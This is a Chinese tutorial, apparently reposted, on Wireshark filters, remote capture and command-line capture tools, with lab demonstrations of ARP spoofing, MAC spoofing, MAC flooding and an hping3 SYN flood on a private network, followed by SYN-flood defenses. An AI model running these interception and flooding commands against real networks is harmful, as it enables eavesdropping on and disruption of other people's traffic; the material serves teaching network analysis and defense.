[工具] Wireshark與相關的網絡安全


一、篩選過濾器

篩選過濾器:也叫顯示過濾器,是在抓包之后設置,是在所有的包都抓獲后,再到其中進行篩選過濾。

1.設置方式

可以在輸入框中實時添加過濾條件:

也可以在 分析->Display Filter中添加常用過濾條件:

2.在細節面板中選擇過濾條件

我們選中一個數據包細節,可以將其作為過濾條件。

3.邏輯關系

在篩選過濾器中,可以使用邏輯關系來組織多個過濾條件:

and  # 與關系
or  # 或關系
not  # 非關系
&&  #
||  #
!  #

4.實例

1)IP過濾

過濾IP地址:

ip.addr == 192.168.4.199

過濾源和目的IP地址:

ip.src == 192.168.4.199
ip.dst == 192.168.4.199

按cidr過濾:

ip.addr == 192.168.4.0/24

2)端口過濾

按協議過濾端口:

tcp.port == 80
udp.port == 8888

使用端口過濾時,使用ip.src和ip.dst來表示方向:

tcp.port == 80 and ip.dst == 104.192.80.196
tcp.port == 27777 and ip.src == 192.168.4.199

二、捕獲過濾器

捕獲過濾器:在抓包之前就設置好,抓取的數據包都是滿足過濾器規則的包,而不滿足的部分不被抓取。保存下來的也是滿足捕獲過濾器的包。

1.捕獲過濾器設置

在輸入端口的選擇界面,我們可以設置捕獲過濾器。捕獲過濾器支持BPF過濾規則,我們可以點擊左邊的綠色圖標查看書寫實例。

2.實例

 捕獲目的端口為80的tcp報文:

tcp dst port 80

捕獲目的主機為192.168.4.199的包:

ip dst host 192.168.4.199

 當然也可以組合起來使用:

ip dst host 192.168.4.199 and tcp port 80

三、文件輸出

我們設置輸出文件的格式和保存策略。

四、遠程監控

我們可以使用wireshark對某台遠程機器進行抓包(前提是設備網絡互通)。

1.在遠程機器上安裝rpcapd服務

我們以一台CentOS7的虛擬機為例。

1)安裝依賴

yum install gcc gcc-c++ glibc-static flex -y

2)下載源碼

wget http://www.winpcap.org/install/bin/WpcapSrc_4_1_2.zip

3)安裝

unzip WpcapSrc_4_1_2.zip
cd winpcap/wpcap/libpcap
chmod +x configure runlex.sh
CFLAGS=-static ./configure
make
cd rpcapd
make

4)運行

[root@centos7-test rpcapd]# pwd
/opt/winpcap/wpcap/libpcap/rpcapd
[root@centos7-test rpcapd]# ./rpcapd -n

-n表示不用驗證。

2.在Wireshark中配置遠程端口

然后就可以像監控本地網卡一樣抓取遠程機器的數據了(注意,抓取的數據中可能包含遠程監控相關的業務無關數據,可以使用過濾器將其過濾掉)。

五、ARP欺騙攔截數據

假設在內網中,我們有一台Centos機器,當他向網關發送數據時,我們可以使用ARP欺騙的方式,用另外一台機器(例如kali)來截取數據流,並進行監控。

假設環境如下:

  被欺騙機器:CentOS7  192.168.4.211

  監控機器:Kali  192.168.4.146

  網關: 192.168.4.11

1.在kali上安裝arpspoof

apt-get install dsniff -y

2.開啟端口轉發

echo 1 >/proc/sys/net/ipv4/ip_forward

3.開始欺騙(雙向)

arpspoof -t 192.168.4.211  192.168.4.1  -i eth0

意思是,使用eth0的mac地址欺騙centos,讓它以為這個mac地址是網關。而讓網關以為這個mac地址是centos。

這樣,他們所發給對方的數據,都會發給我們kali的eth0。此時我們可以開啟wireshark工具來監控數據,並將數據轉發出去,從而不影響數據傳輸,起到欺騙的作用。

4.驗證結果

可以看到,我們在kali的eth0網卡上抓獲到了centos ping百度的ICMP包,以及之前的DNS包。

六、MAC地址欺騙

MAC地址欺騙是指我們通過一些工具修改網卡的MAC地址,從而達到欺騙的目的。

1.安裝macchanger

wget http://ftp.club.cc.cmu.edu/pub/gnu/macchanger/macchanger-1.6.0.tar.gz
tar xvfvz macchanger-1.6.0.tar.gz
cd macchanger-1.6.0 
./configure
make
sudo make install

2.使用macchanger修改網卡mac地址

1)查詢廠商對應mac開頭

[root@centos7-test macchanger-1.6.0]# macchanger -l | more
Misc MACs:
Num    MAC        Vendor
---    ---        ------
0000 - 00:00:00 - Xerox Corporation
0001 - 00:00:01 - Xerox Corporation
0002 - 00:00:02 - Xerox Corporation
0003 - 00:00:03 - Xerox Corporation
0004 - 00:00:04 - Xerox Corporation
0005 - 00:00:05 - Xerox Corporation
0006 - 00:00:06 - Xerox Corporation
0007 - 00:00:07 - Xerox Corporation
0008 - 00:00:08 - Xerox Corporation
0009 - 00:00:09 - Xerox Corporation
0010 - 00:00:0a - Omron Tateisi Electronics Co.
0011 - 00:00:0b - Matrix Corporation
0012 - 00:00:0c - Cisco Systems, Inc.
0013 - 00:00:0d - Fibronics Ltd.
0014 - 00:00:0e - Fujitsu Limited
0015 - 00:00:0f - Next, Inc.
0016 - 00:00:10 - Sytek Inc.
0017 - 00:00:11 - Normerel Systemes
0018 - 00:00:12 - Information Technology Limited
0019 - 00:00:13 - Camex
0020 - 00:00:14 - Netronix
...
...

我們可以從中任意找一個廠商的MAC地址來進行修改(非廠商的MAC頭,修改的時候會報錯)。

2)手工修改MAC地址

[root@centos7-test network-scripts]# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.4.211  netmask 255.255.255.0  broadcast 192.168.4.255
        inet6 fe80::20c:29ff:fec8:38de  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:c8:38:de  txqueuelen 1000  (Ethernet)
        RX packets 682  bytes 57687 (56.3 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 440  bytes 58027 (56.6 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0 eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.172.211  netmask 255.255.255.0  broadcast 192.168.172.255
        inet6 fe80::20c:29ff:fec8:38e8  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:c8:38:e8  txqueuelen 1000  (Ethernet)
        RX packets 29  bytes 1816 (1.7 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 24  bytes 1716 (1.6 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 141  bytes 9752 (9.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 141  bytes 9752 (9.5 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

可以看到網卡eth1的mac地址為00:0c:29:c8:38:e8,我們將其進行手工修改:

# 先關閉網卡eth1
ifconfig eth1 down
[root@centos7-test network-scripts]# macchanger -m 00:00:0c:22:22:22 eth1
Current MAC:   00:0c:29:c8:38:e8 (Vmware, Inc.)
Permanent MAC: 00:0c:29:c8:38:e8 (Vmware, Inc.)
New MAC:       00:00:0c:22:22:22 (Cisco Systems, Inc.)

00:00:0c開頭的mac是思科公司的。可以看到新的mac地址已經修改成功。

啟動網卡:

[root@centos7-test network-scripts]# ifconfig eth1 up

查看eth1的mac地址:

[root@centos7-test network-scripts]# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.4.211  netmask 255.255.255.0  broadcast 192.168.4.255
        inet6 fe80::20c:29ff:fec8:38de  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:c8:38:de  txqueuelen 1000  (Ethernet)
        RX packets 894  bytes 75559 (73.7 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 567  bytes 76083 (74.2 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.172.211  netmask 255.255.255.0  broadcast 192.168.172.255
        inet6 fe80::200:cff:fe22:2222  prefixlen 64  scopeid 0x20<link>
        ether 00:00:0c:22:22:22  txqueuelen 1000  (Ethernet)
        RX packets 44  bytes 2716 (2.6 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 42  bytes 3112 (3.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 151  bytes 10252 (10.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 151  bytes 10252 (10.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

可以看到,mac地址已經生效。

這里需要注意,如果我們重啟機器,mac會恢復原來的值,也就是說這個新的mac地址是臨時生效的。

七、MAC地址泛洪

1.mac泛洪的概念

我們知道,二層交換機是通過mac表來記錄端口所對應主機mac地址來進行轉發數據包的。一般來說一個端口對應一個主機mac地址。

當我們在一個主機上頻繁的更改mac地址並向交換機發送數據,交換機就會在自己的mac表中記錄大量的mac地址,並對應同一個端口,這就是mac泛洪攻擊。

2.使用macof工具進行泛洪攻擊

在kali linux中,自帶macof工具。

macof -i eth0

kali linux在執行這條命令后,會使用大量不同源mac地址的包,發送到交換機。交換機會自動學習這些mac將其添加到自己的mac表中,從而導致運行緩慢。

八、SYN泛洪攻擊(DOS)

DOS:Denial of Service 拒絕服務。

DDOS:分布式拒絕服務,即通過許多不同源IP的主機對被攻擊目標進行DOS攻擊。

1.在內網中使用hping3工具模擬SYN泛洪

在kali linux中已經默認安裝了hping3工具。我們准備一台測試機,安裝並啟動httpd服務,默認監聽端口為80。

1)在kali linux上使用hping3開始SYN泛洪攻擊

root@kali:~# hping3 -q -n --rand-source -S -p 80 --flood 192.168.4.211
HPING 192.168.4.211 (eth0 192.168.4.211): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

2)在kali linux上使用wireshark抓包

 

可以看到,kali linux偽造了大量的源IP地址和源port,對測試機(IP:192.168.4.211)發送了TCP三次握手中的SYN包,進行了SYN泛洪攻擊。

3)在測試機上查看端口狀態

[root@centos7-test var]# netstat -pantu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1337/sshd           
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      1519/master         
tcp        0      0 192.168.4.211:80        162.241.14.228:55506    SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        1.223.49.135:37853      SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        176.19.139.122:37676    SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        165.110.76.249:39887    SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        175.173.235.55:41574    SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        8.156.177.84:38212      SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        112.203.133.84:7726     SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        209.167.205.134:50449   SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        43.30.195.229:6177      SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        165.112.212.184:27822   SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        20.84.141.212:33620     SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        120.137.220.165:33629   SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        157.152.229.165:38214   SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        52.202.112.86:21452     SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        104.53.195.244:4465     SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        62.43.14.245:6178       SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        131.104.165.134:4657    SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        14.252.63.168:38837     SYN_RECV    -                   
tcp        0      0 192.168.4.211:80        249.90.43.223:39888     SYN_RECV    -...
...

可以看到,測試機的80端口與大量陌生IP正在建立TCP握手,目前狀態是SYN_RECV,也就是收到SYN包后,回復了SYN+ACK包,正在等待服務器回復ACK包。

4)使用流量圖查看

直接查看wireshark抓到的包不是很直觀,我們可以使用wireshark提供的統計功能的流量圖來查看:

在wireshark的菜單欄中:統計->流量圖

 

從這個流量圖中可以看到每一個包的流向,為抓包方便上圖是在kali linux上的截圖,所以無法看到SYN+ACK包從80端口發出去(需要在測試機上使用wireshark抓包)。

5)直觀感受

由於本次模擬SYN泛洪攻擊是在內網中進行,由於hping3工具在短時間內發送了大量SYN包,交換機性能有限,除了測試器的httpd應用受到了也影響,處於同一局域網的其他主機也受到了網絡訪問不正常的影響。

2.SYN泛洪攻擊的防范

TCP SYN Flooding的防御一般有一下方式:

1)丟棄第一個SYN包

TCP SYN泛洪攻擊發送的SYN包,一般每個偽造源IP只會發送一個SYN包,所以丟棄每個源IP地址對應的第一個SYN包可以達到避免泛洪攻擊的目的。

缺點是用戶體驗比較差,因為正常的用戶請求始終要發送兩次SYN包才能成功建立TCP連接。當泛洪攻擊每一個SYN包發送兩次時,這種防御方式就失效了。

2)反向探測

當收到某個SYN包時,服務器不會直接返回SYN+ACK包,而是先發送一個用於反向探測的SYN包來確定源IP和端口的合法性(即是否在線,對面返回SYN+ACK)。如果對方合法,服務器再回復正確的SYN+ACK包。

3)代理模式

使用防火牆代理與來源地址進行TCP連接,當正常建立連接后,防火牆再和后面的服務器進行連接,並代理業務數據。

九、wireshark的輔助工具

1.tshark

1)安裝tshark

yum install wireshark -y

wireshark中自帶tshark,tshark相當於wireshark的命令行版本。

2)tshark的簡單使用

查看網卡信息:

[root@centos7-test ~]# tshark -D
1. eth0
2. nflog
3. nfqueue
4. any
5. lo (Loopback)

-D表示查看所有網卡信息。

選擇網卡進行抓包:

[root@centos7-test ~]# tshark -i 1
Running as user "root" and group "root". This could be dangerous.
Capturing on 'eth0'
  1 0.000000000 192.168.4.199 -> 192.168.4.211 TCP 60 25411 > ssh [ACK] Seq=1 Ack=1 Win=4100 Len=0
  2 0.205784243 192.168.4.42 -> 239.255.255.250 SSDP 215 M-SEARCH * HTTP/1.1 

-i表示選擇一個網卡抓取數據,后面跟網卡的編號或網卡名。

使用捕獲過濾器:

[root@centos7-test ~]# tshark -i eth0 -f 'tcp dst port 80'
Running as user "root" and group "root". This could be dangerous.
Capturing on 'eth0'
  1 0.000000000 192.168.4.199 -> 119.23.117.50 TCP 60 24009 > http [ACK] Seq=1 Ack=1 Win=32768 Len=0
  2 0.163997710 192.168.4.199 -> 119.23.117.50 TCP 60 24009 > http [ACK] Seq=1 Ack=53 Win=32716 Len=0

-f表示使用的抓包過濾器(伯克利規則)。這里表示抓取目標端口為80的TCP包。

輸出到結果文件:

[root@centos7-test ~]# sudo tshark -i eth0 -f 'tcp dst port 80' -w test.cap
Running as user "root" and group "root". This could be dangerous.
Capturing on 'eth0'
74 

-w表示要輸出結果到文件,74表示已經抓取的包個數。(要先建立文件,否則無法輸出到文件)

打開文件:

[root@centos7-test ~]# tshark -r test.cap 
Running as user "root" and group "root". This could be dangerous.
  1 0.000000000 192.168.4.199 -> 119.23.117.50 TCP 60 24009 > http [ACK] Seq=1 Ack=1 Win=32033 Len=0
  2 0.055727418 192.168.4.199 -> 119.23.117.50 TCP 60 24009 > http [ACK] Seq=1 Ack=2841 Win=32768 Len=0
...
...

-r表示打開一個文件,當然也可以使用wireshark圖形化界面打開。

3)tshark總結

tshark是wireshark的命令行工具,基本覆蓋了wireshark的所有功能,但是相對於圖形化界面,在數據分析的時候可能不是那么方便和直觀。

我們可以在Shell編程中使用tshark進行抓包和數據分析,如果要詳細研究抓到的數據包,則可以在圖形化界面中去查看分析。

2.dumpcap

類似於tshark,消耗的資源更少,使用方式基本和tshark一樣。例如:

[root@centos7-test ~]# dumpcap -D
1. eth0
2. nflog
3. nfqueue
4. any
5. lo (Loopback)
[root@centos7-test ~]# dumpcap -i 1 -f 'tcp dst port 80'
Capturing on 'eth0'
File: /tmp/wireshark_pcapng_eth0_20200601000408_7YVBr1
Packets captured: 11
Packets received/dropped on interface 'eth0': 11/0 (pcap:0/dumpcap:0/flushed:0) (100.0%)

和tshark不同的是,dumpcap會默認將數據保存到一個文件中。我們可以使用wireshark打開分析。

3.editcap

editcap主要用於處理已經抓到的數據包文件。

先用tshark抓取一些數據包,存放到infile.cap文件中:

[root@centos7-test ~]# tshark -w infile.cap
Running as user "root" and group "root". This could be dangerous.
Capturing on 'eth0'
7279

然后使用editcap取其中一些數據包,存放到outfile.cap中:

[root@centos7-test ~]# editcap -r infile.cap outfile.cap 1-10
Add_Selected: 1-10
Inclusive ... 1, 10

注意,這里要使用-r選項,否則infile.cap會被自動刪除。

將一個數據包文件按數據包個數分割成多個文件:

[root@centos7-test ~]# editcap -c 2 outfile.cap split.cap   
[root@centos7-test ~]# ls
anaconda-ks.cfg  outfile.cap                     split_00001_20200601232202.cap split_00003_20200601232202.cap  test.cap
infile.cap       split_00000_20200601232202.cap split_00002_20200601232202.cap split_00004_20200601232202.cap

可以看到,outfile.cap被分割成了5個文件。

刪除數據包中重復的數據:

[root@centos7-test ~]# editcap -d infile.cap distinct.cap
7279 packets seen, 0 packets skipped with duplicate window of 5 packets.

可以看到,infile.cap中沒有重復數據包。

4.mergecap

mergecap的主要功能就是合並數據包文件。

[root@centos7-test ~]# mergecap -w merged.cap split_*

5.capinfos

capinfos可以查看抓取到的數據包文件的信息:

[root@centos7-test ~]# capinfos infile.cap 
File name:           infile.cap
File type:           Wireshark/... - pcapng
File encapsulation:  Ethernet
Packet size limit:   file hdr: (not set)
Number of packets:   7,279 
File size:           5,367 kB
Data size:           5,127 kB
Capture duration:    4 seconds
Start time:          Mon Jun  1 23:22:02 2020
End time:            Mon Jun  1 23:22:06 2020
Data byte rate:      1,398 kBps
Data bit rate:       11 Mbps
Average packet size: 704.39 bytes
Average packet rate: 1,984 packets/sec
SHA1:                5bc7aeb752fb07b3b2cf35642d2b89575ec2ceac
RIPEMD160:           a0ffbbfdc9960fb9e5cd65a114ab7f2c9d200899
MD5:                 95c236564492e569ec8b58d12fe23d39
Strict time order:   True

 

 

 

====

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM